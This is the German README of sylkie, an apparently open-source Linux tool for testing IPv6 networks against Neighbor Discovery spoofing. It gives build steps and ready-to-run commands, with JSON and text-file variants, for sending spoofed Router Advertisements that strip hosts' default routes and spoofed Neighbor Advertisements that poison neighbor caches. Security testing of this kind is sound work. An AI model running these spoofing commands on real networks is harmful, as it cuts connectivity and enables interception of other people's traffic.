
IPv6-Adressen-Spoofing mit dem Neighbor Discovery Protocol
sylkieEin Kommandozeilenwerkzeug und eine Bibliothek zum Testen von Netzwerken auf häufige Adress-Spoofing-Sicherheitsschwachstellen in IPv6-Netzwerken mithilfe des Neighbor Discovery Protocols.
Hinweis: Dieses Projekt befindet sich noch in der frühen Entwicklungsphase. Wenn Sie auf Probleme stoßen, erwägen Sie bitte, ein Issue zu melden. Es läuft derzeit nur unter Linux.
Weitere Details finden Sie im Wiki.
Holen Sie sich den Code und kompilieren Sie ihn!
# Get the code
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie
# Compile the code
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install
Im Folgenden wird die grundlegende Nutzung von sylkie beschrieben. Führen Sie sylkie -h oder sylkie <Unterbefehl> -h für weitere Details aus oder schauen Sie sich die fortgeschrittene Nutzung für weitere Beispiele an.
Hinweis: sylkie verwendet Raw Sockets, um die gefälschten Ankündigungen zu senden. Daher muss die ausführbare Datei entweder das setuid-Bit gesetzt haben oder als Root ausgeführt werden.
Die grundlegende Verwendung des Befehls router-advert ist unten aufgeführt. Dieser Befehl sendet eine Router Advertisement-Nachricht an die angegebene IP oder die All-Nodes-Multicast-Adresse, was dazu führt, dass die Zielknoten <router-ip>/<prefix> aus ihrer Liste der Standardrouten entfernen.
sylkie ra -i <interface> \
--target-mac <mac of router> \
--router-ip <ip of router> \
--prefix <router prefix> \
--timeout <time between adverts> \
--repeat <number of times to send the request>
Ein grundlegendes Beispiel.
sylkie ra -i ens3 \
--target-mac 52:54:00:e3:f4:06 \
--router-ip fe80::b95b:ee1:cafe:9720 \
--prefix 64 \
--repeat -1 \
--timeout 10
Dies würde eine „gefälschte“ Router Advertisement an die link-local-scope All-Nodes-Adresse ff02::1 senden, was dazu führt, dass alle Knoten fe80::b95b:ee1:cafe:9720/64 (Link-Layer-Adresse 52:54:00:e3:f4:06) aus ihrer Liste der Standardrouten entfernen.
Die grundlegende Verwendung des sylkie neighbor advert Befehls ist unten aufgeführt. Dieser Befehl sendet eine gefälschte Neighbor Advertisement-Nachricht an die angegebene IP.
sylkie na -i <interface> \
--dst-mac <dest hw addr> \
--src-ip <source ip> \
--dst-ip <dest ip address> \
--target-ip <target ip address> \
--target-mac <target mac address> \
--timeout <time betweeen adverts> \
--repeat <number of times to send the request>
Ein grundlegendes Beispiel
sylkie na -i ens3 \
--dst-mac 52:54:00:e3:f4:06 \
--src-ip fe80::61ad:fda3:3032:f6f4 \
--dst-ip fe80::b95b:ee1:cafe:9720 \
--target-ip fe80::61ad:fda3:3032:f6f4 \
--target-mac 52:54:00:c2:a7:7c \
--repeat -1 \
--timeout 3
Dies würde eine „gefälschte“ Neighbor Advertisement-Nachricht an dst-ip (fe80::b95b:ee1:cafe:9720) senden, wodurch die Hardware-Adresse im Nachbarcache für die target-ip (fe80::61ad:fda3:3032:f6f4) auf die target-mac (52:54:00:c2:a7:7c) aktualisiert wird.
Die obigen Befehle erfordern eine ganze Reihe von Informationen. Um die Arbeit zu erleichtern, akzeptiert sylkie auch JSON- und Klartextdateien, die die notwendigen Informationen enthalten, um mit dem Senden der gefälschten Ankündigungen zu beginnen.
Der Unterbefehl (router-advert, neighbor-advert) ist ein Schlüssel, dessen Wert ein Array von Objekten ist, wobei die Schlüssel und Werte die entsprechenden Optionen und Werte sind. Um den Befehl auszuführen, übergeben Sie den Pfad zur JSON-Datei als Argument an die Option -j.
Um das oben bereitgestellte router-advert-Beispiel aus einer JSON-Datei auszuführen, erstellen Sie zunächst eine Datei mit folgendem Inhalt.
{
"router-advert": [
{
"interface": "ens3",
"target-mac": "52:54:00:e3:f4:06",
"router-ip": "fe80::b95b:ee1:cafe:9720",
"prefix": 64,
"repeat": -1,
"timeout": 10
}
]
}
Nachdem Sie die Datei erstellt haben, beginnen Sie mit dem Senden der Ankündigungen mit folgendem Befehl.
sylkie -j /path/to/json
Jede Zeile der Datei muss genau das enthalten, was Sie über die Kommandozeile angeben würden, abzüglich des Befehls sylkie.
Um das oben bereitgestellte neighbor-advert-Beispiel aus einer JSON-Datei auszuführen, erstellen Sie zunächst eine Datei mit folgendem Inhalt.
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3
Nachdem Sie die Datei erstellt haben, senden Sie die Ankündigungen mit
sylkie -x /path/to/file